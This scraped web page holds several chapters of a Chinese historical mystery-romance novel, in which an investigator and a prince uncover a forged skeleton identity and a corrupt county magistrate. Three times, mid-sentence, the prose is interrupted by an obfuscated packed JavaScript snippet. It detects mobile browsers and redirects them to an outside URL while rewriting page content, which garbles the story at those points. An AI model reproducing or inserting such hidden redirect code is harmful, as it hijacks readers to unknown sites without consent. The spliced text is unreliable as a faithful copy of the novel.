容朗一时不知该如何形容。 “我摸摸不就知道了?”李希言站起。 容朗想到她怕尸体的事情,下意识一把拉住了她。 李希言侧过头,眼中闪过一丝愕然。 糟糕! 她不喜欢别人碰她。 容朗飞快缩回了手,结结巴巴地解释:“我这是……这是……” “不过来一起看?” 李希言满不在乎的态度让容朗松了口气。 “对对对!一起看!” 二人走到尸骨跟前,容朗小心地揭开白布的一部分,只露出了死者的腿骨。 “你摸一摸关节就可以了。” 李希言伸出手细细摩挲了两下。 确实是很奇怪的触感。 骨头粗糙的部分应该是像干枯的木头,可是手下的感觉…… 是像起了鸡皮疙瘩的皮肤一样粗糙,骨骼上满是密密麻麻的小凸起,甚至有点…… “嘶……” 李希言的手指被划开了一个小口子,破损的皮肤渗出一滴血液,血液瞬间滴入骨骼中,殷红的血显得骨骼的颜色白得森然。 她还没来得及反应,一双手已经包住了她受伤的右手。 容朗眉头紧蹙,捏着她的伤口边上,用力挤压着伤口。 “不疼啊……不疼……” 他语气像是哄孩子一样,李希言脸上的表情差点崩坏。 “没事。” 她用力抽回手,却被对方死死握住。 抽不动!劲儿还挺大。 容朗抬眼:“我给你上药。” “我自己来。”李希言对这样的亲密很是排斥,语气又冷又硬。 “哦。”容朗哪里不知道她的性子。 从小到大就口是心非。 他嘴上应着,另外一只手却已经掏出了药瓶,眨眼间就把药粉倒了上去。 “这尸骨不干净,我才急着给李少使挤血。” 他的话和他的动作是截然相反的。 可是这样公事公办的语气,李希言还真不好再说什么。 她硬梆梆地道谢:“多谢。” “李少使客气了。”容朗粲然一笑。 李希言趁机抽回手,甩了甩手上的药粉。 “这尸骨的粗糙应该是有特殊原因的。” 容朗也装作什么都没有发生:“我也有这样的想法。之前听仵作提起过,身体虚弱或者是有骨痿的人可能就会有这样的情况。” “余绍年轻力壮,并无疾病,这两种情况不太可能。” “或许是其他的原因呢?我回去翻翻书,或者是等县衙仵作来了再问问他。” “好。”见他如此尽心尽力,李希言心里有些发虚,语气都好上了不少,“辛苦王爷了。” 容朗很容易满足,笑眯眯地说道:“不辛苦的,能帮上忙就行。” “那我先回去了。若有结果,劳烦王爷来知会我一声。” 容朗拿起扇子遮住照在她头上的阳光:“说不定我能找到什么重要线索呢。” 一语成谶。 刚入夜,一个几乎颠覆了之前所有假设的线索浮上水面。 17. 身份 李希言对着桌上一堆证物发呆。 她总觉得少了点什么。 铜铁质地的蹀躞带。 水壶、公验、笔、针筒、火石袋、碎银。 少了什么? 她低下头去看自己腰间的蹀躞带。 因为她是正六品的官员,所以蹀躞带是犀角銙,上面也是挂满了随身需要的物品以及武器匕首,只是她的更多些,还多了一个防水的袋子,里面都是应急的银钱以及火折子这些…… 一道灵光忽然闪现。 但是敲门声却打断了她。 “李少使!” 这声音,是长乐王? 李希言想起二人今日下午所言,立即去开门。 果然,门一打开,容朗就急哄哄地走了进来,嘴里还不住地念叨着:“我找到了个非常非常非常奇怪的线索。” 一时懵了的李希言无意识地被他拉到了桌边坐下。 等坐下的时候,李希言才回过神。 “什么线索。” 容朗神秘兮兮地掏出一张包着东西的帕子,郑重地把帕子放到桌子上,又慢慢把帕子打开,露出里面的一块骨头。 骨头是头骨中的下颚,上面还排列着一排牙齿,只是左起第二颗是缺失的。 这不是…… “你把余绍的下颚拿来做什么?” “你看啊。”容朗拿起那块骨头,指着那颗牙缺失的地方。 缺失牙齿的地方空荡荡的,什么都没有。 “怎么?这有什么问题。”李希言虽然之前一直以为这个长乐王是个放荡不羁的人,可是几日的接触下来,还是让她有了改观。 他不是个无的放矢的人,做事也还算稳重。 “高修说过,余绍的牙是摔断了的,可是牙齿摔断会留下牙根,这里却连牙根都没有,很有可能是被人故意拔掉的,不然不会这么干净。” “凶手拔掉了死者的牙?他的目的……”李希言抬起头正撞上容朗的目光。 二人异口同声。 “伪造身份!” “死者不是余绍!” “默契。”容朗抚掌。 “那……死者是谁?” 现在可好,本来至少死者的身份是确定的,现在连死者的身份都不确定了。 容朗一下收敛了笑容。 “发现牙齿的问题后,我用之前学过的一个办法缩小了死者的年龄范围,死者去世的时候应该是三十岁以下,二十八岁左右。这也不符合余绍的年龄,余绍五年前是三十二岁。” “不管如何,死者和余绍脱不了关系。”李希言捂住了额头,本就苍白的唇色更白了几分。 真是头疼。 “唉……”容朗见她难受,自己心里就像是被狠狠揪了一下。 自己还是没能帮上她的忙。 “要是我会黄泥塑骨就好了,把死者的长相复原,怎么都能找到死者的身份。” 黄泥塑骨这样的法子李希言只在书里见过。 绣衣司里的仵作再厉害也只能判断出死者一些明显的面部特征。 看他如此失落,李希言安慰道:“王爷别想太多,连我也没见过谁会黄泥塑骨。你才学了两年,已经很好了。” “嗯。”容朗心中郁结瞬间消散,扬起了嘴角,眼中满是怀念。 他就知道,姐姐永远都是那个内心温柔的姐姐,即使她现在和以前有些不同,可人的心是不会改变的。 而县衙的另外一边。 来偷账本的苗青就没有那么温暖的感觉了。 他趴在墙上,背着一个小包袱,瘦小的身体完美地和黑夜融为一体。 啊!为啥让他来偷账本!他的轻功是来做这些偷鸡摸狗的事情的吗? 要是李希言听到这话一定会坚定点头。 苗青似乎也是想到了这茬儿,搓了搓胳膊。 面前就是谢荣的书房。 他一跃而下,悄无声息,稳稳落地。 优秀如我! 苗青挺了挺胸。 不愧是少使最倚重的我!这身轻如燕…… 自夸完,他傲然地环视了一眼四周。 黑洞洞的,没有一个人。 他这才大摇大摆直接向书房走去。 书房门没锁,直接就可以推开。 一推开门,苗青就捕捉到了一股淡淡的木质香。 还是檀木?! 他关上门,点燃火折子,借光一看。 书房内所有的家具都是紫檀木制成,色泽赤红,都是上品。 这账册还用查吗! 这么多紫檀木,长乐王的王府都没这么奢华! 话是这样说,这账册还是必须要找。 他跟着李希言做事快七八年了,很了解她做事的风格。 要证据确凿才能定罪。 可是这账册到底藏在哪儿啊! “偷鸡摸狗”惯了的他先东摸摸西摸摸所有的摆设。 没有机关? 那…… 苗青将视线投向书架上摆得整整齐齐的书,每一本书都是崭新的。 肯定藏在这里面。 果然,不过翻了四本,他就找到了账册。 打包带走! 他把小包袱里做好的假账册拿出替换掉真账册,又把真账册妥妥帖帖地背好。 外面忽然传来脚步声,很轻。 是会武的人。 苗青熄了火折子,屏住呼吸,仔细听了听。 还好距离尚远。 他立即从窗户翻了出去,跃上院墙。 一个高大的背影正往隔壁的正院走去。 咦? 是那个高修?他大晚上来找谢荣做什么?还走的小门? 他心中生疑,跟了上去。 二人距离只有十步。 要到院门口的时候,高修忽然转身,低声吼道:“什么人。” 苗青吓得立即缩到了一旁的假山后面。 这人武功这么好? 僵持了一刻钟,正院里传来了三声敲击声。 高修这才没有继续追究刚刚的异动,推开正院的小门,走了进去。 苗青不敢再跟上去,以免打草惊蛇。 他摸了摸背上装着账册的小包袱,转身回了他们自己居住的院子。 关风和正靠在门上等着。 见他背着包袱满载而归,一下就笑着迎了上去,接过了包袱。 “不愧是苗校尉,果然手到擒来。” 苗青翻了个白眼:“别以为你奉承几句就能改变你逼我去偷鸡摸狗的事实。” “什么偷鸡摸狗?”关风和夸张地左顾右盼,“没有鸡和狗啊!” “装。” 关和风嘿嘿一笑,拍了拍他的肩膀。 “小苗别这样,明儿我请你吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711374|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且,这不是少使让做的嘛!” 苗青提出要求:“本地有家酥锅。” “好好好!等案子了结,我把少使也叫上一起。” “真贼,那就成了少使请客。” 关风和保证:“我会抢着给钱的。” “关姐,你拿人格发誓听上去更有气势些。” “那可不行。我人格很宝贵的。” “啧啧。” “诶!对了。你说要不要叫上长乐王啊。他现在和咱们一道走的,不叫上他会不会不太好?” 一提到容朗,苗青的表情就微妙了起来。 关风和歪头:“咋了,不说话?” “没……”苗青思来想去,还是忍不住问道,“你觉得长乐王人咋样?” 关风和摸了摸下巴:“挺好一小伙儿,长得很好看。” “我好看还是他好看……”卫川不知道从哪里飘出来,一脸幽怨。 “吓人一跳!”关风和吼完回答道,“他长得很正经,你一看不太正经。” 卫川摇着扇子:“我哪里不正经!” “就这样特别不正经,一看就不是什么好人。” 苗青嘀咕:“长乐王也不像什么好人……” 正在斗嘴的二人齐齐转过头。 “他……还好吧?”卫川作为亲戚还是有些维护容朗的。 苗青叹了口气,说出了这段时间一直埋在心里的疑惑。 “你们不觉得这人和之前有点不一样吗?” 关风和之前完全不认识容朗:“他原来啥样?” “怎么说啊。”苗青举例,“这人原来就跟个普通皇子似的,一身的傲气,笑的时候眼睛都是冷的,现在怎么就……笑得很不值钱。” 关风和“啊”了一声。 “这……别人态度和善还不对了?” 卫川却沉吟了一会儿说道:“还真是……” “你看!”找到和自己有相同的观点,苗青兴奋得快要跳起来,“我就说嘛!这人是不是有点两面派!” 卫川连忙退了一步:“你别胡说啊,我可没说他两面派啊。” “这不是两面派是什么?” “嗯……”卫川感叹道,“或许是因为他这两年住在山里才改了性子?” 一旁的二人不禁想到之前的传闻——长乐王出家! 苗青伸长了脖子:“他之前闹出家的事情是真的假的?” 卫川看了一眼双眼闪闪的二人,小声道:“我大哥说是真的,连头发都剃了一半。” “然后呢!然后呢!” “然后,陛下就赶去青嶂寺了。再之后……我只听说他就去了郊外的山庄居住修行,没人再提出家的事情了。” 关风和搓了搓手:“那他为啥突然闹着要出家啊?难道是真的因为被心爱的女子抛弃?” 卫川也只知道个大概。 “也没听说他和哪家千金有关系,听我娘说宫里传言,他当时不知为何突然回到府中就收拾东西上了山,说什么人生了无意趣,他还不如出家当和尚,当和尚更好些。” 关风和:“那他那头发……不是剃了一半吗?” 李希言的下属和她拥有同样的想法。 “假发?” 咚,咚!咚,咚! 打更声响了起来。 苗青惊觉:“都二更天了!我不和你们说了,我还有事找少使呢!” 18. 失踪 等苗青火急火燎赶到了李希言的院子时,屋内的烛火还未熄灭。 “呼……” 苗青长出一口气。 幸好还没睡。 他走近敲了敲门。 “少使?” “嗯?进来吧。” 苗青轻手轻脚地走进去,刚一抬头,就僵在了原地。 这个长乐王怎么这么晚了还在和少使下棋?! 少使是不是太纵容他了? “什么事?是东西没找到?” 李希言带着凉意的声音让苗青回过神来。 他朝着二人行了礼才禀告道:“属下今日去谢荣书房找东西的时候偶然碰到了高修,他当时正鬼鬼祟祟地往谢荣的院子里走,还走的小门。” “他们俩碰面了?” 苗青将经过说了一遍:“他太警觉,属下怕被他发现,所以没有再跟。” 容朗出声道:“这二人一定在商量什么,或许就和账册有关。” 李希言把棋子放回棋奁。 “欲盖弥彰。” “是呢,属下今日在谢荣书房就见到不少紫檀木的家具呢。” 容朗挑眉:“够奢华啊。” “如此看来,余绍的事情没那么简单。”李希言敛眉,“他是主管户房的司吏,管的就是账目。要么,他们是一丘之貉,他们想要让余绍一个人背锅,要么是余绍想要检举反被诬陷。” “总而言之,余绍的事情和他们二人脱不了干系?” “不仅只是余绍。”李希言点了点棋盘,“还有那一具无名尸骨。” 苗青一脸疑惑:“无名尸骨?” 哪儿冒出来的? 容朗现在力求在绣衣司的人眼里留下好印象,主动解释道:“我今日偶然发现,那具尸骨的身份并不是余绍。” “不是余绍?”苗青更是觉得脑子发胀,“那岂不是什么线索都没了。” “谁说的?不是余绍,却要把尸体伪造成余绍。”李希言拈起一颗白棋,稳稳地将棋子放在几颗黑棋的包围圈内,“引蛇出洞。” 容朗摊开双手:“我又输了。” 天色刚亮,还沉浸在温柔乡中的谢荣就被砸门声惊醒。 他怀里的佳人揉着眼睛,娇声抱怨:“您看看!这还有没有规矩啊,大早上的还不让人睡会儿。” 谢荣也窝着火。怒吼道:“谁啊!” 砸门声还没停,小厮颤巍巍的声音钻了进来:“是绣衣司的人……” 怒气被堵在胸口发不出,谢荣合上眼,撑着坐起来,把被子狠狠一甩,准备起身。 “真是活阎王!” 倚靠在他肩上的女子一下不干了:“这才什么时辰啊,您再陪陪奴家嘛~” “听话。”这样的美人对自己撒娇,谢荣怒气散了一半,“昨儿半夜我都撑着来你房里,夫人都不乐意了,你还不够?” “不够不够!郎君陪奴家多久都不嫌够。” “好了好了,今晚上再来找你,现在啊,我还有事儿,乖些。” 女子放开手,轻哼一声:“不就是个六品的官儿,有什么牛气的。” “噤声!”谢荣脸色一变,低声呵斥道,“绣衣司不是谁都能招惹的,更何况,长乐王也在!” 他本就头疼一个小案子引来了两尊大神,听到这些话更是烦躁,语气重了不少。 女子立即讨饶:“是奴家多嘴了,奴家这不是心疼您嘛。” 砸门声还咚咚咚地响着,就像是敲在了自己的心上,谢荣胡乱套上衣服,也不听女子告饶就快步走了出去。 等他走到门前,才停住脚步。 看着被砸得在发抖的门,他深深吸了一口气。 惹不起惹不起,会杀人会杀人…… 恐惧压住了心里的怒气,谢荣带着标准的微笑打开了门,和门外的绣衣校尉对视。 来请他的人正是苗青。 苗青收回手,笑得客气:“少使请您过去呢。” 谢荣瞄了一眼对方那双手,扯起嘴角:“劳烦您久等了,请带路吧。” 苗青抬手一引:“请。” 这路却越走越奇怪。 不是往李希言居住的院子也不是往县衙大堂走。 谢荣忍不住问道:“苗校尉,咱们这是要去哪儿啊?” “验尸房。”苗青突然顿住脚步,转过头冲他笑了一下,遥遥一指,“已经到了。” 谢荣怎么也没想到会被带到验尸房中。 他嫌恶地皱了皱鼻子,硬生生忍下不适跟着走了进去。 李希言和容朗就在里面等着他。 二人坐在尸骨旁边,不知道在小声说着什么,在二人的身前还站着高修。 “下官见过王爷,见过李少使。” 谢荣扫视了一眼。 四周全是绣衣司的人,身着黑衣,看得人心里沉甸甸的。 “免礼。” 李希言开门见山。 “今日叫你们二人前来,是有关于案子的一个进展要和你们说清楚。” “进展?” 二人对视一眼,眼神中都流露出相同的戒备。 “经本官核实,这具尸骨并非是余绍。” 谢荣失声道:“怎么会?!” 李希言探究的眼神让他立即清醒,他话锋一转:“这真是太令下官惊讶了。” “确实。”李希言揭开尸骨上的白布,“本官也很惊讶。” 高修问道:“那……这尸骨究竟是谁?” “二十八岁左右的男子,五年前失踪的。你们可要去查一查?” “这……”谢荣面露难色,“这范围太广了些吧?” 容朗补充道:“身长五尺三寸左右。” 谢荣看着他,等着他的下文。 “没有了。”容朗抚了抚衣摆,翘起腿。 李希言直接下令,语气不容拒绝:“三日内,把东曲县所有符合条件的人都找到。” 谢荣满心不愿意多事,又不好开口,只悄悄戳了一下旁边的高修。 高修接到了暗示,上前道:“三日的时间是不是太紧了些。” “对废物来说自然不够。”李希言盯着他,“剿匪的事情办得怎么样了?” 高修被骂了一句不说还被剿匪的事情活活堵住了嘴。 从一开始就不敢反驳的谢荣只能应下。 “下官遵命。” 他要是不应下这个活阎王肯定要说“废物就去死好了”。 “那就下去吧。最好两日,三日太慢。”李希言神色自若。 谢荣恨不得杀了她。 还减了一日。 都怪韦家人,非要扯进那个徐令诚,招来了这个活阎王! 幸好,他还尚存理智,咬着牙应下:“下,官,明白了。” 送走了二人。 李希言又招手叫来了站在一旁的方淳。 “你找个机会,潜进去探查一二。” 方淳摸了摸自己平平无奇的脸:“查什么?” “余绍的事情,和那二人之间的来往。还有,把那些个土匪窝的位置探出来。” 方淳拱手道:“属下这就去办!” 看着方淳远去的背影,容朗眯了眯眼:“谢荣刚刚才见过方淳,让他去会不会太容易暴露?” “不会,方淳会易容。况且,你现在还记得他长什么样吗?” 容朗恍然,还真想不起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711375|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “土匪的事情?”他主动请缨,“可要我调亲卫来?” “没必要,本地有骠骑府。”李希言把随身的虎符和一封书信交给苗青,“找赵将军,调八百人。” 苗青接过虎符,郑重揣好:“是。” “剩下的人,都去那些土匪出没的地方布控。” “属下遵命!” 等人呼啦啦得走完,验尸房里竟然有些空。 容朗隐秘地咂了咂嘴,想要冲淡嘴里的酸味。 他尽量用着平静的语气问道:“赵将军?是赵玄将军吗?” “是。”回答简短有力,不包含一丝情绪。 “李少使和他很熟?” “还行,几面之缘。”李希言瞟了他一眼,“你是想问什么?” “我……”容朗咽下将要脱口而出的话,脸上的红热涌上眼眶,“没什么……” 李希言懒懒地说道:“你是想问我为何会和前未婚夫周彻的发小熟悉?” 容朗被直接地戳破了心思,羞窘得不知道该说什么才好。 李希言忽然一笑,眉头的红痣都变得鲜活起来。 “王爷好奇心这么重?” 容朗不好意思地低下头。 “我倒是想问王爷一个问题。” 容朗抬起头:“什么?” “您的……”李希言的视线集中在他的发髻上,“您的头发是真的还是假的?” 容朗呆呆地摸了一下:“真的啊……头发还能有假的?” 李希言微微颔首,没有再说。 倒是容朗回过神来,顿觉对方的目的。 难道,姐姐一直以为他戴的假发髻?! 他学着方才李希言的语气:“李少使是想问我当年为何出家?” 李希言一本正经板着脸:“王爷的私事,我不好奇。” 她才不想知道皇室的秘密! “那我非要说呢?”容朗试探着向前倾身,悄悄拉近了二人之间的距离。 李希言耳朵尖有些烫,她侧身拉开距离:“下官的耳朵有时候不太听得见。” “李少使真不好奇?”容朗心知她最是口是心非。 “无非痴男怨女那点事。”李希言有一下没一下地摸着腰间的香囊。 “痴男”容朗感觉心被狠狠戳了一下,他磨了磨牙:“对!没错!‘痴男怨女’!” 没把他认出来还说他“痴男怨女”? 没心肝!骗子! 小的时候送他小泥人,还说要娶自己回家让自己天天吃肉饼!现在连认都不认得他了! 李希言突然黑下了脸,紧紧捏着腰间的香囊。 正在心里疯狂控诉她的容朗愣了一下。 “怎么了?” “我知道少了什么东西了!” “少……什么东西?” 李希言喘了一口气,捂住狂跳的心脏 “随着尸骨挖出来的东西里少了香囊。” “什么香囊?” 李希言扯下自己腰间的香囊,掂了掂。 香囊里发出碎银的撞击声。 “银子和公验这些东西都应该装在香囊里。现场却只有银子和公验,装着它们的香囊却不见了。” “香囊上有死者真实身份的线索?” “没错。所以凶手才取走了香囊。不仅如此……”李希言感觉思路一下顺畅了起来,“香囊上最多绣人名中的一个字,并不一定是真实身份的确切线索。但是,如果县衙的人都认识真正的死者呢?” 容朗一下就听明白了:“县衙的人一看这个香囊就能认出是谁的,说明死者和他们很熟悉。 “甚至……有可能就是县衙里的人。” 19. 偷听 这一次,李希言没有再去让谢荣帮忙查找死者身份。 而是自己亲自悄悄去一趟储放县衙名册的地方。 没有苗青在,这种事情确实不太方便。 夜色已沉,四周静悄悄地,只听得见蝉鸣蛙叫。 李希言换上夜行服,踏出卧房。 然而刚一出门,容朗就神出鬼没似的出现在了她的面前。 他倚靠在木柱上,穿着一身黑乎乎的夜行衣,侧过脸冲着她讨好一笑。 “带上我吧。” 李希言无奈:“王爷,您还是不要以身犯险。” 容朗站直,使劲绷起肌肉。 效果确实很好,透薄的夜行衣意外地让他的浑身肌肉的线条显露无疑。 “我身手不错的!” 李希言惊得眼皮一跳,耳朵一红,急忙移开视线。 有用!果然姐姐喜欢这样的! 容朗又走近几步,魁梧的身躯看着有吓人,但是他脸上却是可怜巴巴的样子。 他双手合十:“不可以吗?“ 李希言灵活地往左前方行了一步,侧身躲开他面前的范围。 她埋头走在最前面,几乎是冲出去的。 “走吧。” 储放名册的地方还是在谢荣的书房。 李希言动作比苗青更大胆些,径直进了书房,那淡定的模样像是来找人算账的,而不是来“偷偷摸摸”。 跟在后面的容朗视线一直胶黏在她的身上,她的背影在夜色中时而隐没。 这让他不禁想起从前。 原来饿着了去偷贡品的时候,她也是这样,旁若无人地往大殿里冲。看上去那样莽撞,可是一次都没有被抓到过。 推开书房的门,李希言直奔书架而去。 名册不是什么见不得人的东西,就直接放在书架上。 她取下名册,放在书桌上,拉开椅子坐好。 这熟门熟路的,就跟在自己家书房似的。 容朗伸手按住名册:“李少使,你不会连笔墨都要用他的吧?” 这也太明显了! 李希言翻了一个白眼,摸出早就准备好的纸笔,又把账册推到他的面前。 “你念,我写。” 今晚的月光明亮,透过窗户都能看见。 容朗拿起账册,借着白亮的月光翻看。 “五年前……有余绍,高修……” 李希言笔走如飞。 不过半个时辰不到的功夫,二人就誊抄完了名册。 李希言提起纸张,把墨吹干。 “东曲县的人倒是不多。”容朗摸了一把紫檀木制成的椅子,“比哥哥的椅子还好呢。” 李希言起身:“希望你说的不是龙椅。” 容朗摸了摸鼻子,把快要到嘴边的话给咽了下去。 我说的就是龙椅啊。 二人将东西归位,离开书房,跃上院墙。 一个身影忽然在余光中窜过。 是高修? 李希言不由想起之前苗青所言。 “你轻功怎么样?” 容朗毫不谦虚:“优秀。” 李希言面色僵硬了一瞬,随即指向高修的背影。 “去看看?” 二人一左一右跟上了高修。 不知为何,今日高修倒是没那么谨慎,竟然没有发现被人跟踪。 他径直走向院子的大门,伸手将门推开。 李希言又向前了几步,掩身于假山后。 “你来了?” 是谢荣的声音。 李希言朝着对面的容朗招了招手。 容朗立即闪身过来。 他刚刚并未听清楚,只猜测道:“是谢荣?” “嗯。” 二人屏息敛声,竖起耳朵听着二人的动静。 谢荣:“那个姓关的已经把账册还回来了,想必他们也没找出什么纰漏。” “不可大意。李希言看着直来直往,心思可多着呢。” ”我知道。那尸体的事情怎么办?” “不是余绍不就行了?” “高修!你是真傻还是假傻?尸骨不是余绍但是被伪装成余绍,现场还找出了余绍那么多随身物件。你说这个凶手会不会和余绍有关系?”谢荣小声吼道,“我就怕那个活阎王拔出萝卜带出泥!” “她已经准备对曹老大动手了。” “不过是拿这事儿威胁我们罢了。”谢荣声音恨恨的,“早知道就不理韦家人,惹来这么大的麻烦!” “谁知道呢?那个韦鸢竟然真能叫来绣衣司的人。” “不守妇道的贱骨头,得亏不是我女儿,不然我得被气死!” 高修没有接话。 谢荣吩咐道:“为保万全,你还是找个机会去给曹老三送个信。” “谢县令……”高修很是无奈,“就怕我的信前脚出了县衙的大门,后面就跟着绣衣司的尾巴。到时候,反而还给他们指明了路。” 正有此打算的李希言:…… 此子断不可留! “那就先不管他们。你这几日好好物色几个适合的人选,这案子……该了结了。” “属下倒是有个人选。” “谁?” “刘聪。” “你有病吧?”谢荣气得声音都在发抖,“你让本官把自己小舅子送进去?” “县令,您先听下官解释啊。夫人的兄弟里刘聪最不成材,没了也无所谓。让他去抵罪,反而会打消他们对您的怀疑。” 谢荣果然态度松动了不少:“话虽这样说,可是怎么能把事情推到他头上?” “下官有此提议绝非无的放矢。刘聪曾经常打死奴仆,又常去慈光寺。更巧合的是,他打死的奴仆中有一个和死者的年纪很是相符。” “真的?” “下官怎敢欺瞒您呢?您再想一想。打死奴仆可判不了死罪,等人走了,您稍微操作一番,刘聪也不过赔钱了事。” 谢荣沉默了许久终究还是点了头。 “你说的确实有理。只能先委屈他了。真是……”他长出一口气,语气里满是遗憾,“怎么死的就不是余绍呢!” “不是他更好些吧?当时我可是亲眼看见他掉下悬崖的,事后也在悬崖发现了尸体……” 躲在假山后的李希言暗自惊心。 那个余绍竟然已经死了?还是跳崖死的? 谢荣声音不稳:“你去好好查查认识余绍的人,我总觉得心里不大安宁。” “是。” 细密的雨落下,二人的谈话声逐渐消失。 高修已经原路返回。 躲在假山后的李希言随手拽住容朗,扯着他扭身一躲。 二人一起缩在假山背面的凹陷处。 月光正照在二人头上,身影融入假山的阴影中。 高修左看右看,愣是没有发现。 眼见他走远,李希言才松开手。 然而下一刻,容朗却忽然“砸”到了她的身上。 二人本就靠得极近。 李希言躲无可躲,眼神中流露出一丝少见的惊恐。 这大体格子压下来她得骨折! 幸好容朗倒下的趋势戛然而止。 他双手死死撑在假山上,脸憋得通红。 “对不住,李少使,我腿有些麻,没站稳……” 李希言趁机钻了出去,扶住了他。 容朗借力,靠着假山站好。 他擦了擦汗,心虚得不敢和眼中暗含关切的她对视。 本来只是想着假装崴脚让姐姐心疼一下他,没想到弄巧成拙差点压到人! “没事儿?” 容朗忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718377|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛,绷着脸:“没事。” 李希言抿了抿嘴唇,忍住笑意。 “真的没事?” 容朗回答的得斩钉截铁:“没……嗷!” 李希言收回罪恶的戳向他的腿侧的手。 “哦,没事。” 容朗泪汪汪的。 “疼死了!” 他要撒泼,他再也不要做成熟的男子了! 李希言摊开右手,示意他可以借力。 容朗这次一点也不客气地把胳膊放了上去。 “回去让张内侍给你上药。” “张锦不在。” “他不在?” “他……他去打点船只了。”容朗一脸虚弱,“可以麻烦李少使吗?” “你发烧了。” “啊?” “在说胡话。” “哼!” “让你侄子来。” 容朗大惊失色:“李少使,我错了……” “看来是退热了,脑子也清醒了,那就让卫川来。” “好吧……” 卫川拿着药看着一脸防备的容朗,十分无语。 大哥……阿不……表舅你老人家是要闹哪样! “少使让我来的……” 容朗嘴角忍不住翘起。 姐姐关心他! 他清了清嗓子,一脸温和的笑意:“放在这儿吧,多谢。” 卫川依言放下,偷偷打量了一眼此时连头发丝都写着欢喜二字的容朗。 原来也不这样啊。 他摇了摇头:“下官告退。” 容朗欢快地摆摆手:“去吧去吧!” 受伤还这么开心? 卫川一边走一边腹诽。 皇子们果然都不太正常,这个可能随爹,更不正常。 “嘀咕什么?”李希言不知道从哪里冒了出来,站在屋檐下看着他。 卫川被吓了一大跳,差点一屁股坐地上,他捂着狂跳的心脏。 “少使!人是会被吓死的!” “我叫你第三声了。” 卫川尴尬地摇了摇扇子,走了过去:“您找属下什么事?” 李希言把今晚找到的名单一股脑塞给他。 “把东西给方淳,让他查一查,这上面的人有哪些失踪或者去世的。” 卫川看了一眼就把名单揣了起来:“余绍?那案子啊?我知道了。还有什么事吗?” 李希言想到了今晚偷听到的谈话,继续吩咐:“顺便让方淳……” 一个人影忽然撞入眼帘,李希言停住了话头。 人影朝着二人走来。 “少使?” 李希言挑眉:“方淳?” “是我。” 卫川捏了捏方淳脸上的人皮面具:“有意思,你这脸和之前的不一样。” 方淳拍开他的手:“面具很贵的,你别乱摸。” “你才进去不到一日,怎么就跑来了?” 方淳挠了挠头:“反正也没事儿干,我来汇报啊。” 李希言看了一眼四周,带着二人进屋。 “进去说。” “好。” 一进门,方淳就滔滔不绝的说起了谢荣的事情。 “根据属下初步估算,谢荣那个会唱戏的小妾那里的家具加起来都值个几千两白银。” 李希言讽刺一笑:“真是难为他了,东曲这样不富庶的地界也能搜刮出这么多民脂民膏。” “是啊!而且他后院斗得也可有意思了!每日都是妻妾大战啊!尤其是那个会唱戏的小妾,厉害得很,把他夫人都压制得死死的。” “刘夫人?”李希言听到这话,一脸似笑非笑。 “是啊!” “你想个办法,把谢荣准备让刘聪背锅的事情告诉她。” “是。” 20. 三日白骨 第二日一早,还在用早饭的容朗就收到了一个好消息。 县衙的仵作已经痊愈,今早就回了县衙当值! 他胡乱对付了几口,就找着李希言和他一起去了验尸房。 仵作远远看见“气势汹汹”的二人朝着他走来,吓得有些腿软。 “姚堂?”李希言走近确认。 姚堂马上行礼:“小的见过王爷,见过李少使。” “不必多礼。”李希言一把扶住他。 姚堂看上去年纪不小,头发花白,或许是因为大病初愈,面容也有些憔悴。 二人真不好意思让这样一位老人行大礼。 姚堂这辈子很少被人这样客气对待过,一时之间有些战战兢兢的。 为了打消他的疑虑,李希言将目的说明。 “今日我们来是因为尸骨有些异常,想要请教一二。” “李少使这话言重了!本就是小的的职责。” 容朗轻声问道:“那尸骨表面很是粗糙,不知是何缘故?” “是六月十八那日在慈光寺发现的那具尸骨吗?” “正是。”容朗在验尸房呆了几日,已经记得清楚每一具尸体存放的地点,他向左一指,“劳烦您给看看。” 姚堂连忙走过去,掀开白布一看。 不过摸了一把,他就变了脸色。 “确实不对劲。只是……”他眼神闪烁了几下,抿着嘴,“为什么会这样。小的也不清楚为何,可能是死者年岁大了身体虚弱?” 容朗不赞同地说道:“不会。死者年纪三十岁左右,而且看死者的骨架也不像是体弱之人。” “这……小的也不太清楚。或许是死者有什么特殊的病症吧?” 李希言直勾勾地盯着他:“确实有这种可能。” 姚堂垂下头,把白布盖好。 “这案子不好查。尸骨上没有特殊痕迹。” 李希言附和着感叹:“是啊。”她扭头对着容朗说道,“我们还是先回去吧,这案子就先别管了。” 容朗不知她为何如此异于往常,但是也没有多言,点了点头。 一进院门,李希言边走边吩咐旁边的绣衣使。 “把那个仵作给我盯紧着。有任何异动,立即拿下!” “是!” 